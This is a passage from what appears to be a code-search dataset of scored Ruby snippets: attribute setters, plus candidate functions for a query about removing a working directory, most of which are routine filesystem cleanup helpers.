"title": "" }, { "docid": "acf12274b9bb3425144254dee583731f", "score": "0.56742126", "text": "def []=(key, value)\n attributes[key] = value\n end", "title": "" }, { "docid": "cff9ab6e773df35db326361588406398", "score": "0.5646505", "text": "def []=(attribute, value)\n case value\n when SVG::Node\n super attribute.to_s, \"url(##{value[:id]})\"\n\n else\n super attribute.to_s, value.to_s\n end\n end", "title": "" }, { "docid": "5a991e19adad69f0ead77fbf11de3679", "score": "0.5638295", "text": "def value=(v)\n self.explicitly_set_value = true\n @casted_value = nil\n @value = v\n end", "title": "" }, { "docid": "74388b57e21e758260e7dc5479e635cf", "score": "0.5636101", "text": "def []=(attribute, value)\n raise ArgumentError unless self.class.keys.include? attribute\n # coerce value according to its attribute's type before being set.\n self.instance_variable_set(\"@#{attribute}\", coerce(value, attribute))\n end", "title": "" }, { "docid": "067a8b3d44991ea8166c8c2c2eb563e8", "score": "0.5635099", "text": "def value=(value)\n self['value'] = value\n end", "title": "" }, { "docid": "8556541bf75f19ec0fdbae98fba8878b", "score": "0.5634249", "text": "def update_attribute(attr_name, value)\n if self.class.has_custom_attribute?(attr_name.to_sym)\n find_or_build_custom_attribute_by_name(attr_name).update_attribute(:value, value)\n else\n super\n end\n end", "title": "" }, { "docid": "df513dbb4772f4db277361e004ae21ec", "score": "0.562763", "text": "def []= attribute, value\n `#@native.setAttribute(#{attribute}, #{value})`\n end", "title": "" }, { "docid": "922b75d7b3df6c0b9319754898edd8cf", "score": "0.5626639", "text": "def []=(name, value)\n `#{@el}.setAttribute(#{name},#{value})`\n end", "title": "" }, { "docid": "46c5fa55f39d11eb5aef10da91afb4f1", "score": "0.5624873", "text": "def []= field, value\n @attributes[field] = value\n end", "title": "" }, { "docid": "640715b81609d126ed370b1459cb7704", "score": "0.56248367", "text": "def attribute_set(name, value)\n @dirty[name] = true\n @attributes[:current][name] = value\n end", "title": "" }, { "docid": "d41a4167ae2a10d759815a4cad8ee20c", "score": "0.5603045", "text": "def []=(attribute, value)\n # shall I raise an exception?\n return if self.class.schema[attribute].nil?\n # shall I convert the value if it's not in the right format?\n self.instance_variable_set(\"@#{attribute}\", value)\n end", "title": "" }, { "docid": "ed746f87fbc0ef84d57a8bd6fafb675b", "score": "0.5589232", "text": "def attribute_set(name, value)\n properties[name].set(self, value)\n end", "title": "" }, { "docid": "fc841fabfd6e839be2b8e1b80812ee02", "score": "0.55865145", "text": "def value=(new_value)\n validate(new_value)\n @value = parse_value(new_value)\n end", "title": "" }, { "docid": "fc841fabfd6e839be2b8e1b80812ee02", "score": "0.55865145", "text": "def value=(new_value)\n validate(new_value)\n @value = parse_value(new_value)\n end", "title": "" }, { "docid": "448243d71d66b176445153304aa63455", "score": "0.55747306", "text": "def value=(value)\n @value = value\n end", "title": "" }, { "docid": "62660c572f3b6f1f2f229c29ef9311c7", "score": "0.55741453", "text": "def value=(val)\n self.send :\"#{_mapped_value_column}=\", val\n end", "title": "" }, { "docid": "ddc260f7d30d7ec63daf1a91d9e0d296", "score": "0.554888", "text": "def set(att, val)\n if val.to_s.empty?\n key.call(\"HDEL\", att)\n else\n key.call(\"HSET\", att, val)\n end\n\n @attributes[att] = val\n end", "title": "" }, { "docid": "71acb3d41af6be7cff0bb3ba446f03fa", "score": "0.5545906", "text": "def set_value(attribute_id, value)\n get_custom_value_hash\n if @custom_value_hash[attribute_id].nil?\n create_value(attribute_id, value)\n else\n if value && @custom_value_hash[attribute_id] != value\n sql = \"UPDATE #{CustomValue.table_name} SET #{Person::_(:value, :custom_value)} = '#{quote_string(value)}' \n WHERE #{Person::_(:person_id, :custom_value)} = #{id} \n AND #{Person::_(:custom_attribute_id, :custom_value)} = #{attribute_id}\"\n CustomValue.connection.execute(sql)\n @custom_value_hash[attribute_id] = value\n end\n end\n value\n end", "title": "" }, { "docid": "07dc1147a67de42a505eff13608eb60a", "score": "0.5544362", "text": "def []=(name, value, options = {})\n attributes.set(name, value, options)\n end", "title": "" }, { "docid": "b75ab7365b227791058b08ea81090b2e", "score": "0.5532886", "text": "def value=(value)\n @value = value\n end", "title": "" }, { "docid": "b75ab7365b227791058b08ea81090b2e", "score": "0.5532886", "text": "def value=(value)\n @value = value\n end", "title": "" }, { "docid": "b75ab7365b227791058b08ea81090b2e", "score": "0.5532886", "text": "def value=(value)\n @value = value\n end", "title": "" }, { "docid": "2b08adba94bb61b7dc37085032cbfb99", "score": "0.5531008", "text": "def set(attr, value)\n raise ArgumentError, \"unknown attribute: #{attr}\" unless @masks[attr]\n case value\n when true\n @data |= @masks[attr]\n when false\n @data &= ~@masks[attr]\n end\n self\n end", "title": "" }, { "docid": "5cb1f41e1ab432738e768177b7ab3bf8", "score": "0.55205816", "text": "def set_attribute(rule, attribute, value)\n begin\n rule.send(\"#{attribute}=\".to_sym, value)\n rescue NoMethodError\n raise AtomMarshallingError.new(\"Attribute #{attribute} unsupported in Atom #{rule_type_name(rule)}.\")\n end\n end", "title": "" }, { "docid": "6750faedfddc2acf1177a7a0e5c2bacf", "score": "0.55176955", "text": "def value=(v)\n set(v)\n end", "title": "" }, { "docid": "1566c939bb761399fceab11947893331", "score": "0.5517576", "text": "def setAttribute(name, value)\n if @ownerElement\n attr = @ownerDocument.createAttribute(name)\n attr.appendChild(@ownerDocument.createTextNode(value))\n else\n attr = Attr.new(name)\n attr.appendChild(Text.new(value))\n end\n setAttributeNode(attr)\n end", "title": "" }, { "docid": "2c7c5b564520a752a01fb597eab0f337", "score": "0.5510767", "text": "def attributes=(val)\n set_attributes(val)\n val\n end", "title": "" }, { "docid": "08379c125390ace278173c1247f7d867", "score": "0.5506087", "text": "def assign(attr, val)\n return unless respond_to? attr\n\n public_send attr, val\n end", "title": "" }, { "docid": "cba91b1483766b72ef8ebc5a77e121df", "score": "0.5505651", "text": "def []=(key, value)\n attributes[key] = value\n end", "title": "" }, { "docid": "cba91b1483766b72ef8ebc5a77e121df", "score": "0.5505651", "text": "def []=(key, value)\n attributes[key] = value\n end", "title": "" }, { "docid": "f22fefaad6ffc9fee5866c1f33893e63", "score": "0.5483728", "text": "def write_attribute(attr_name, value)\n attr_name = attr_name.to_s\n column = column_for_attribute(attr_name)\n\n raise \"Invalid column for this bigrecord object (e.g., you tried to set a predicate value for an entity that is out of the predicate scope)\" if column == nil\n\n if column.number?\n @attributes[attr_name] = convert_number_column_value(value)\n else\n @attributes[attr_name] = value\n end\n end", "title": "" } ]
53ef69f9acd22025611781dc51570515
Remove working directory if it exists
[ { "docid": "4c611bed6439fbd0a2df578f16223c7b", "score": "0.6390815", "text": "def clean_working_directory(payload)\n begin\n unless(payload[:message_id].to_s.empty?)\n dir_path = File.join(\n config.fetch(\n :working_directory,\n File.join('/tmp/fission', service_name.to_s)\n ),\n payload[:message_id]\n )\n if(File.exists?(dir_path))\n debug \"Scrubbing working directory: #{dir_path}\"\n FileUtils.rm_rf(dir_path)\n end\n end\n rescue => e\n warn \"Failed to remove working directory for payload (#{payload.inspect.slice(0, 50)}...)\"\n end\n payload\n end", "title": "" } ]
[ { "docid": "5d5fabbe4aa11752cfdbb5e6aeca8160", "score": "0.8062782", "text": "def clear_working_dir\n log\n FileUtils.rmtree(WORKING) if File.exist?(WORKING)\n end", "title": "" }, { "docid": "76119cecdae89c64e5f64093032b0f23", "score": "0.802416", "text": "def clean_working_directory\n @process_runner.execute!(\"rm -rf #{@working_directory}/work\")\n end", "title": "" }, { "docid": "d265d38f00b8192b26c2f16b2845647c", "score": "0.79841393", "text": "def cleanup_work_directory\n FileUtils.rm_r(@work_directory) if File.exists?(@work_directory)\n end", "title": "" }, { "docid": "b1006739444088976d877994de66d665", "score": "0.77250344", "text": "def cleanup\n FileUtils.remove_dir(work_dir, force: false)\n end", "title": "" }, { "docid": "c5e1eb9a9aec76ba0d993bae91cdaf6c", "score": "0.7625557", "text": "def clear_working_directory!\n dir = @_root\n dir = File.expand_path(dir)\n\n if dir == '/' or dir == File.expand_path('~')\n abort \"DANGER! Trying to use home or root as a temporary directory!\"\n end\n\n entries = Dir.glob(File.join(dir, '**/*'))\n\n dirs, files = entries.partition{ |f| File.directory?(f) }\n\n files.each { |file| FileUtils.rm(file) }\n dirs.each { |dir| FileUtils.rmdir(dir) }\n end", "title": "" }, { "docid": "a018d8259aa02e5aa59e882cd8f64861", "score": "0.7569876", "text": "def clean\n @logger.info(\"Cleaning workdir\", :path => workdir)\n FileUtils.remove_entry_secure(workdir)\n end", "title": "" }, { "docid": "593c3f073587335d859098a05d42ef51", "score": "0.75232947", "text": "def destroy_working_copy\n FileUtils.rm_rf(checkout_dir) unless checkout_dir.nil?\n end", "title": "" }, { "docid": "7076dde64aedeafad2d058a8bbcfbbe7", "score": "0.72809535", "text": "def clean\n FileUtils.remove_dir workspace, true\n end", "title": "" }, { "docid": "c08787c524910c85a2de19c6304adb28", "score": "0.7196956", "text": "def delete_profile_directory\n # TODO: background job. \n FileUtils.rm_r local_path if File.exist? local_path\n end", "title": "" }, { "docid": "589d0f9a6808955c967560a073d149d8", "score": "0.71880376", "text": "def delete_profile_directory\n # TODO: background job.\n FileUtils.rm_r local_path if File.exist? local_path\n end", "title": "" }, { "docid": "3985c1b540c30d7bde0bfbcf086ebb18", "score": "0.7144929", "text": "def destroy_working_copy(options={})\r\n FileUtils.rm_rf(checkout_dir) unless checkout_dir.nil?\r\n end", "title": "" }, { "docid": "6734ab0aed64e6426e3ac8f0db65062c", "score": "0.70890844", "text": "def close\n if @base_dir !~ /^\\/tmp/\n raise Exception.new(\"Workdir won't erase anything outside /tmp.\")\n end\n system(\"rm -rf #{@base_dir}/#{@name}/*\")\n Dir.rmdir(\"#{@base_dir}/#{@name}\")\n end", "title": "" }, { "docid": "fdb8caa46133b8d586bb2c053f3dda82", "score": "0.7046335", "text": "def clean\n FileUtils.remove_dir(target, true) if File.exists? target_dir\n end", "title": "" }, { "docid": "4b43beb4b00ad12736ec944fb4d38efd", "score": "0.70316505", "text": "def clear_working_dir!\n grit.git.reset(hard: true)\n end", "title": "" }, { "docid": "646832e077afce1a2836531549b83d39", "score": "0.7008581", "text": "def cleanup\n \"rm -rf #{dirname}\"\n end", "title": "" }, { "docid": "646832e077afce1a2836531549b83d39", "score": "0.7008581", "text": "def cleanup\n \"rm -rf #{dirname}\"\n end", "title": "" }, { "docid": "297704deae86f74c063aff6e3da42f1d", "score": "0.6971596", "text": "def clear_changes\n return unless @working_directory\n\n FileUtils.rm_rf(self.working_directory)\n self.working_directory = nil\n end", "title": "" }, { "docid": "1f848b4b959c4f9ac685f0f4a2138078", "score": "0.68970495", "text": "def destroy_scratch_dir\n FileUtils.rm_rf( @scratch_dir )\n end", "title": "" }, { "docid": "e68b2af095ffca076abc331a09eaf479", "score": "0.6819948", "text": "def delete_dir!(path)\n # do nothing, because there's no such things as 'empty directory'\n end", "title": "" }, { "docid": "e68b2af095ffca076abc331a09eaf479", "score": "0.6819948", "text": "def delete_dir!(path)\n # do nothing, because there's no such things as 'empty directory'\n end", "title": "" }, { "docid": "39cb371538f6698497e163b684de242c", "score": "0.68143207", "text": "def destroy_borked\n FileUtils.rm_rf(root_dir) if root_dir.to_s.include?(Matrix.work_root)\n destroy\n end", "title": "" }, { "docid": "a5b4ba0d3ecf275b006f0019fd914815", "score": "0.6811338", "text": "def remove_instance_dir!\n FileUtils.remove_entry(instance_dir, true) if File.exists? instance_dir\n end", "title": "" }, { "docid": "f0ff6f32ba68ef43b1c5d782e60f3a1a", "score": "0.68050337", "text": "def remove_tmp_dir!\n FileUtils.rm_rf(tmp_dir)\n end", "title": "" }, { "docid": "05c2eb4ee80ab00735a9c4876b336e8f", "score": "0.6793794", "text": "def empty_directory\n # If you want to keep it, not my problem.\n return if new_resource.keep_existing\n dest = new_resource.destination\n Dir.entries(dest).each do |entry|\n next if entry == '.' || entry == '..'\n FileUtils.remove_entry_secure(::File.join(dest, entry))\n end\n end", "title": "" }, { "docid": "5fe3392a03cc89a29b091378f13431a3", "score": "0.67877394", "text": "def cleanup\n raise \"Do you really want to remove your runnign system?\" if @temporary_root == \"/\"\n return unless File.exist?(@temporary_root)\n\n puts \"Removing temporary directory #{@temporary_root}\"\n FileUtils.rm_rf @temporary_root\n end", "title": "" }, { "docid": "14bcad56c21a3a09ca22cb0b0bb93f57", "score": "0.6786343", "text": "def remove_instance_dir!\n FileUtils.remove_entry(instance_dir, true) if File.exist? instance_dir\n end", "title": "" }, { "docid": "9c2bc77871226ca2c762e4254cef9b90", "score": "0.67850006", "text": "def clear_directory\n FileUtils.rm_r(tmpdir) if File.exist?(tmpdir)\n FileUtils.mkdir_p(tmpdir)\n end", "title": "" }, { "docid": "23904e7c58b007103e062408aa0871ec", "score": "0.67774355", "text": "def destroy_scratch_dir\n FileUtils.rm_rf(@scratch_dir)\n end", "title": "" }, { "docid": "42d6ea597a28f1f6d9606347746a9469", "score": "0.6772277", "text": "def teardown\n working_dir = File.expand_path(WORKING_DIR)\n FileUtils.rm_rf(working_dir)\n\n true\nend", "title": "" }, { "docid": "7749c894f621a28b1741fa00965ccccf", "score": "0.67638254", "text": "def clean\n Dir.rmdir(options.local_repo_path)\n end", "title": "" }, { "docid": "c6233b1771ecdfbbf025918ec51cbee2", "score": "0.67506313", "text": "def clean_temp_dir\n if @temp_dir && File.exist?(@temp_dir)\n FileUtils.rm_rf(@temp_dir)\n end\n end", "title": "" }, { "docid": "83591c7096449867e3ebfc8245faf31c", "score": "0.67405677", "text": "def remove_work_dir!(str)\n str.sub!(%r{#{@working_dir}/}, '')\n str\n end", "title": "" }, { "docid": "21ec4097c6bd9a2d7cec44986b7cf79d", "score": "0.6732872", "text": "def rmtestdir\n FileUtils.rm_rf(testdir) if File.directory?(testdir)\nend", "title": "" }, { "docid": "1c901d5980b7d361c47797450cb86552", "score": "0.67274183", "text": "def delete_temp_dir\n\t\tsystem self.rm_str(\" -rf \", @dir_temp)\n\tend", "title": "" }, { "docid": "c7942eeac43e22ddba3507ebd364416a", "score": "0.6722741", "text": "def destroy!\n valid!\n\n begin\n Dir.rmdir(@path)\n rescue Errno::ENOENT\n raise ArgumentError, 'basepath does not exist!'\n rescue Errno::ENOTEMPTY\n raise ArgumentError, 'basepath not empty!'\n end\n\n self\n end", "title": "" }, { "docid": "e44ff94e60d362409eb4c9da6e508f6a", "score": "0.67127854", "text": "def destroy_file\n FileUtils.rm_rf dirname if File.exists?(dirname)\n end", "title": "" }, { "docid": "0f86b4edf390390ca3e19f3b3d67c8b8", "score": "0.6703709", "text": "def cleanup\n FileUtils.rmtree(@path) if @path && File.exists?(@path)\n end", "title": "" }, { "docid": "3ed21ed9d56a7ffd0c8480ec2e29a94b", "score": "0.6686034", "text": "def delete_dir!(path); end", "title": "" }, { "docid": "3ed21ed9d56a7ffd0c8480ec2e29a94b", "score": "0.6686034", "text": "def delete_dir!(path); end", "title": "" }, { "docid": "64881d0278951296f453b542430671e6", "score": "0.66795677", "text": "def remove_existing_dummy\n FileUtils.rm_r(destination_path) if File.directory?(destination_path)\n end", "title": "" }, { "docid": "fc57ee15f861efd834c2c292b1b2a58d", "score": "0.66781515", "text": "def delete_directory(example)\n move_out_of_directory\n # Delete temp dir if no error\n FileUtils.remove_dir(@repo_path) if !@repo_path.nil? && !example.exception\nend", "title": "" }, { "docid": "6163dd1e9c7f18040b8edb8896a59b5f", "score": "0.6669428", "text": "def remove_dir(path, config = T.unsafe(nil)); end", "title": "" }, { "docid": "5446f846a62906c3369f67196d97667d", "score": "0.66683924", "text": "def destroy\n location = Dir.pwd\n directory = File.join(location, \".grit\")\n\n if File.directory?(directory)\n are_you_sure\n\n File.delete(directory + \"/config.yml\")\n File.delete(directory + \"/history.log\")\n Dir.delete(directory)\n puts \"Grit configuration files have been removed from #{location}\"\n else\n puts \"#{location} is not a grit project!\"\n end\n end", "title": "" }, { "docid": "6b638dfb573c943c816a8218e3598b00", "score": "0.66576284", "text": "def clear_directory\n settings.clear_directory\n end", "title": "" }, { "docid": "d18e58bdca4521e7e9d53298f9f8542e", "score": "0.6653081", "text": "def clean_tmp_upload_dir\n FileUtils.rm_r(tmp_upload_dir) if self.tmp_upload_dir && File.directory?(self.tmp_upload_dir)\n end", "title": "" }, { "docid": "d18e58bdca4521e7e9d53298f9f8542e", "score": "0.6653081", "text": "def clean_tmp_upload_dir\n FileUtils.rm_r(tmp_upload_dir) if self.tmp_upload_dir && File.directory?(self.tmp_upload_dir)\n end", "title": "" }, { "docid": "0210e4d31da8645a3daa04ffbeeba588", "score": "0.6651234", "text": "def clean_tmp_upload_dir\n FileUtils.rm_r(tmp_upload_dir) if self.tmp_upload_dir && File.directory?(self.tmp_upload_dir)\n end", "title": "" }, { "docid": "2e12a63c896ada67d4c8da5c6bb101a2", "score": "0.66412723", "text": "def cleanup_directory(dir)\n return if dir == CurationConcerns.config.working_path\n parent = File.split(dir).first\n if Dir[\"#{dir}/*\"].empty?\n Dir.delete dir\n cleanup_directory parent\n end\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.66342896", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.6634096", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.6634096", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "4c16610c0c474a4e9f4605ce94947818", "score": "0.66077584", "text": "def remove_dir\n FileUtils.remove_dir(path) if File.exist?(path) && path.length > 3\n end", "title": "" }, { "docid": "e3b23eb9b1120dedc213d78a7758e83a", "score": "0.6589499", "text": "def clean_up\n FileUtils.rm_r @tmp_dir\n end", "title": "" }, { "docid": "464dd62050fcf1ed5dbe3a23e1f1a33c", "score": "0.65414804", "text": "def del\n if current_dir.path != '/'\n dir_was = times == 1 ? current_dir.name : File.basename(current_dir.join(['..'] * (times - 1)))\n cd File.expand_path(current_dir.join(['..'] * times))\n find dir_was\n end\n end", "title": "" }, { "docid": "2b3fbc942c2027feaef033fddd3edadf", "score": "0.6539331", "text": "def destroy\n `cd #{self.parent_path} && rm -rf #{self.name}`\n end", "title": "" }, { "docid": "fee4420d163fa120700cd4cf987f2f92", "score": "0.6539267", "text": "def teardown\n Dir.chdir(@working_dir)\n FileUtils.rm_rf(@tmp_dir)\n end", "title": "" }, { "docid": "be29a354406b0032a46f8e5a163ba828", "score": "0.6535579", "text": "def remove_photo_dir\n dir = File.dirname(@picture.photo.current_path)\n FileUtils.remove_dir dir if Dir.empty?(dir)\n end", "title": "" }, { "docid": "91b1398520a30c1a41daf3f30dbaa716", "score": "0.6526877", "text": "def delete_local_repository\n # TODO: background job. \n FileUtils.rm_r local_path if File.exist? local_path\n @grit_repo = nil\n end", "title": "" }, { "docid": "6fa640d36a8087502b0bf4d09b48d3df", "score": "0.6519683", "text": "def delete_local_repository\n # TODO: background job.\n FileUtils.rm_r local_path if File.exist? local_path\n @grit_repo = nil\n end", "title": "" }, { "docid": "cf54237e2a387cae9b6d14c5f8a9a58c", "score": "0.65108633", "text": "def clear\n if File.exist?(get_root)\n FileUtils.rm_r(get_root)\n FileUtils.mkdir_p(get_root)\n end\n end", "title": "" }, { "docid": "25d3d18345732562d2767339322cb688", "score": "0.6487241", "text": "def remove\n `cd #{self.project_root} && rm -r puppet/profiles/#{relative_path}`\n end", "title": "" }, { "docid": "9c73576895f41b822d370794d7966bdd", "score": "0.6483559", "text": "def cleanup_app_dir(app_name, instance_name, target_dir, app_name_is_dir = false)\n Dir.chdir(app_name_is_dir ? app_name : RailsPwnerer::Config[app_name, instance_name][:app_path]) do\n if File.exist?(target_dir)\n Kernel.system \"git clean -d -f -x -- #{target_dir}\"\n Kernel.system \"git checkout -- #{target_dir}\"\n end\n end\n end", "title": "" }, { "docid": "85c51a7c58d1468d3ea57f183042b7f9", "score": "0.64808404", "text": "def clean\n @log.info(\"Cleaning working directory '#{@working_directory}'...\")\n FileUtils.rm_f(\"#{@working_directory}/#{@backup.drupal_tar_name}\")\n FileUtils.rm_f(\"#{@working_directory}/#{@backup.drupal_database_sql_dump_name}\")\n @log.info(\"Completed clean of working directory '#{@working_directory}'.\")\n end", "title": "" }, { "docid": "899741d1042e94509c5a0252d7bcaf8a", "score": "0.6477417", "text": "def clean_up\n chdir(HOME)\n super\n end", "title": "" }, { "docid": "968b57fa7c2bb0f52e867e563b200fa5", "score": "0.6474628", "text": "def delete\n FileUtils.remove_dir(@tempdir, true)\n end", "title": "" }, { "docid": "968b57fa7c2bb0f52e867e563b200fa5", "score": "0.6474628", "text": "def delete\n FileUtils.remove_dir(@tempdir, true)\n end", "title": "" }, { "docid": "dfff15c21b16a1352a23c0165babef55", "score": "0.64741313", "text": "def clean_up\n FileUtils.remove_entry @sandbox_dir\n end", "title": "" }, { "docid": "2bbc0c6839d3ecdc71d3dcedc318a88a", "score": "0.64702415", "text": "def clear\n if File.exists?(get_root)\n FileUtils.rm_r(get_root)\n FileUtils.mkdir_p(get_root)\n end\n end", "title": "" }, { "docid": "bec3334fc48202840bc13775f4347b1d", "score": "0.64593375", "text": "def remove_file_from_fs\n require 'fileutils'\n FileUtils.rm_rf(self.directory_path)\n end", "title": "" }, { "docid": "8483369d74b5405c7385d6284c74a73f", "score": "0.6457307", "text": "def rm_home!\n FileUtils.rm_rf @home\n end", "title": "" }, { "docid": "a4d588531b20671c83eb99b74ae7f506", "score": "0.6444878", "text": "def remove!\n return false if @removed\n FileUtils.rm_rf path\n @removed = true\n end", "title": "" }, { "docid": "ce6e3a95b08cb8c8324863fa1347686a", "score": "0.6444193", "text": "def cleanup\n ::FileUtils.remove_entry_secure(base_dir) rescue nil if @temporary\n end", "title": "" }, { "docid": "b1291b309d25f9ced2813d716d4c0e24", "score": "0.64422", "text": "def remove_structure!\n rm_rf target_dir\n end", "title": "" }, { "docid": "b1291b309d25f9ced2813d716d4c0e24", "score": "0.64422", "text": "def remove_structure!\n rm_rf target_dir\n end", "title": "" }, { "docid": "b1291b309d25f9ced2813d716d4c0e24", "score": "0.64422", "text": "def remove_structure!\n rm_rf target_dir\n end", "title": "" }, { "docid": "fdefc14e4f8b81f2edd4d1d677503371", "score": "0.64400667", "text": "def clean_dir dir\n FileUtils.rm_rf(dir) if File.exists?(dir)\n FileUtils.mkdir(dir)\nend", "title": "" }, { "docid": "830939bae796fab8dff2afc4b0c64635", "score": "0.6434605", "text": "def clean_support_files_temp_dir\n support_files_temp_dir.rmtree if support_files_temp_dir.exist?\n end", "title": "" }, { "docid": "0392b8751e55968e062a2ca861e1a7cd", "score": "0.6420065", "text": "def clear_tmp\n Dir.chdir $default[:dir]\n FileUtils.rm_rf 'tmp' if File.directory? 'tmp'\n Dir.mkdir 'tmp'\n Dir.chdir 'tmp'\nend", "title": "" }, { "docid": "89cc0d9beb529f9346b48fe4720449c4", "score": "0.6419237", "text": "def undo\r\n Dir.delete(@NewDirectoryPath) if Dir.exist?(@NewDirectoryPath)\r\n end", "title": "" }, { "docid": "4c39debb375bb31e68f2e8f78a7e3d4b", "score": "0.6406591", "text": "def clear\n directory.rmtree if directory.exist?\n directory.mkpath\n end", "title": "" }, { "docid": "82117923a90bf5b9def5948b786a7746", "score": "0.6405706", "text": "def clean(path)\n return if !File.exists?(path)\n\n if File.directory?(path)\n log.info \"Deleting directory #{path}...\"\n FileUtils.rm_r(path)\n else\n log.info \"Deleting file #{path}...\"\n File.delete(path)\n end\nend", "title": "" }, { "docid": "d51edf49eaea6f9f6c6a715aff6279f4", "score": "0.64010084", "text": "def rm_rf(path)\n Sys.exec(\"rm -rf #{path}\")\n return path\n end", "title": "" }, { "docid": "ef4b8ec848cac6f3595b2d173186a33a", "score": "0.6400691", "text": "def checked_remove(bindir = nil)\n puts \"Cleaning bindir\"\n if bindir\n d = Pathname.new(bindir)\n return if not d.exist?\n\n check = d + \"./CMakeCache.txt\"\n if not check.exist?\n raise \"-c used but the dir '#{d}' does not appear to be a cmake binary dir - remove manually, please.\"\n end\n\n puts \"rm -rf #{d}\"\n FileUtils.rm_rf(d)\n else\n raise \"refusing to remove the dir which we are in\"\n end\nend", "title": "" }, { "docid": "65201fad991052ddc4f8da8457669777", "score": "0.6394316", "text": "def cleanup\n FileUtils.rm_rf @path\n end", "title": "" }, { "docid": "b10e928e116780f87faf0915cfda4f75", "score": "0.6392269", "text": "def cleanup(dir)\n if ( FileTest::directory?(dir) )\n FileUtils.rm_rf dir\n end\n end", "title": "" }, { "docid": "9856049d7c312eb0ca842320f49d06c6", "score": "0.6388766", "text": "def rm_rf\n FileUtils.rm_rf(@path)\n self\n end", "title": "" }, { "docid": "07ef3ce827b2d5699620d4d92e3ce351", "score": "0.63853294", "text": "def cleanup_filesystem!\n # Load all needed files, before we cleanup the dir\n return_code\n stdout\n\n return if debug\n\n FileUtils.remove_entry(base_dir)\n end", "title": "" }, { "docid": "33c8b2682330f0818f1e1751568b156e", "score": "0.63848215", "text": "def clean_temp_folder\n @logger.debug('Cleaning temp folder...')\n temp_directory = @config_manager['temp.directory']\n FileUtils.cd(temp_directory) do\n folders = Dir.glob('*')\n folders.each do |folder_name|\n # Don't do anything for the runs are still running.\n run_result = @results_database.get_run_result(folder_name)\n next if run_result.status != Automation::Status::Complete unless run_result.nil?\n # All other folders are deleted.\n @logger.fine(\"Deleting folder '#{folder_name}'...\")\n FileUtils.rm_rf(folder_name)\n end\n end\n end", "title": "" }, { "docid": "d27bfc311457d4c9d67ee851d3df6c2b", "score": "0.6384071", "text": "def cleanup\n tmpdir = File.join(build_dir,local_tmp_dir)\n if File.exist?(tmpdir)\n FileUtils.rm_rf(tmpdir)\n end\n end", "title": "" }, { "docid": "d27bfc311457d4c9d67ee851d3df6c2b", "score": "0.6384071", "text": "def cleanup\n tmpdir = File.join(build_dir,local_tmp_dir)\n if File.exist?(tmpdir)\n FileUtils.rm_rf(tmpdir)\n end\n end", "title": "" }, { "docid": "1605a9600a7a2291fd5e58892378ae1a", "score": "0.6378719", "text": "def sandbox_cleanup\n FileUtils.remove_dir @sandbox_dir rescue nil\n\n raise \"#{@sandbox_dir} not empty\" if File.exist? @sandbox_dir\n end", "title": "" }, { "docid": "9e0f7f8349f4a0bc30a2f4fe1628668b", "score": "0.63786054", "text": "def clean(workdir = nil)\n if workdir\n Fileutils.rm_r(workdir)\n @installed.delete(workdir)\n else\n # clean them all\n @installed.keys.each { |d| FileUtils.rm_r(d) }\n @installed = {}\n end\n end", "title": "" }, { "docid": "242aba8ee98df38b78a1373c44d56a51", "score": "0.6375515", "text": "def clean()\n\t\tDir.chdir @project_directory \n\t\tDir.entries('.').each do \n\t\t\t|item|\n\t\t\tif item != \".\" and item !=\"..\"\n\t\t\t\tFileUtils.rm_rf(item)\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d235b7631d2a31011fe5eb9b3721da9a", "score": "0.6374383", "text": "def undo \n if(@hasExecuted==true and (File::directory?(@newPath)))\n FileUtils::rm_r(@newPath)\n @hasExecuted=false\n end\n end", "title": "" }, { "docid": "b1db87a4b514a6633018cde8e76a9296", "score": "0.6361764", "text": "def clean!\n Logger.message \"#{self.class} started cleaning up the temporary files.\"\n run(\"#{ utility(:rm) } -rf #{ paths.map { |path| \"'#{ path }'\" }.join(\" \") }\")\n end", "title": "" }, { "docid": "57e4b2812b27b662597400272b8550a8", "score": "0.6355723", "text": "def cleanup_workspace\n FileUtils.rm_rf(@workspace)\n end", "title": "" }, { "docid": "5fcd3a09eec08b6522398866204b020f", "score": "0.6350874", "text": "def clear\n return unless File.exist?(root_path)\n FileUtils.rm_r(root_path)\n FileUtils.mkdir_p(root_path)\n end", "title": "" }, { "docid": "ee4e2145a41af89458ce2acbcb4ad552", "score": "0.6350421", "text": "def remove_tmp\n if File.exists?(@tmpdir)\n FileUtils::rm_r(@tmpdir)\n end\n end", "title": "" }, { "docid": "c0c94ccf5b8bc4eb3e22f2b00880d831", "score": "0.6349974", "text": "def cleanup_build_dir\n PDK::Util::Filesystem.rm_rf(build_dir, secure: true)\n end", "title": "" }, { "docid": "a44187ed72a0838f44341644a227a76c", "score": "0.6349593", "text": "def delete\n if @path.directory?\n @path.rmtree\n elsif @path.exist?\n @path.delete\n end\n\n self\n end", "title": "" } ]
d4739a33f386d6d12bd850ee467cafb7
before_filter :deny_operation, :except=>[:index, :rebate]
[ { "docid": "1da84d68803ab5fb5d19718a0815508e", "score": "0.0", "text": "def index \n #@reservations = current_user.crm_redemption_reservations\n mbr_id = current_user.mbr_id \n @reservations = CrmRedemptionReservation.find_through_id_status(mbr_id, 0)\n @product_reservations = CrmProductReservation.find_through_id_status(mbr_id, 0)\n @workshop_reservations = CrmWorkshopReservation.find_through_mbr_id(mbr_id)\n end", "title": "" } ]
[ { "docid": "53aac613426d293fc51d26d20d1fae79", "score": "0.76721126", "text": "def index\n prevent_non_admin\n end", "title": "" }, { "docid": "0217b138f2cc0a59404d8ee923523070", "score": "0.71693105", "text": "def ignore_request_unless_permitted\n return if permitted?\n flash_notice(:permission_denied.t)\n redirect_to(action: \"index_article\") and return\n end", "title": "" }, { "docid": "306b64c15797301315da79c936c93c95", "score": "0.6783016", "text": "def skip_authorization; end", "title": "" }, { "docid": "a7c3d6e3aaddd5208720d9689d58528b", "score": "0.67729414", "text": "def before_filter; end", "title": "" }, { "docid": "03329c42e34f0abc9285506f0a36ec95", "score": "0.675176", "text": "def reset_filter!\n skip_before_action(:filter_access_filter) if method_defined?(:filter_access_filter)\n before_action :filter_access_filter\n end", "title": "" }, { "docid": "53d99d7939b0c58e0dd3d7d479c39841", "score": "0.6741178", "text": "def forbidden\n\n render_error( :forbidden )\n\n end", "title": "" }, { "docid": 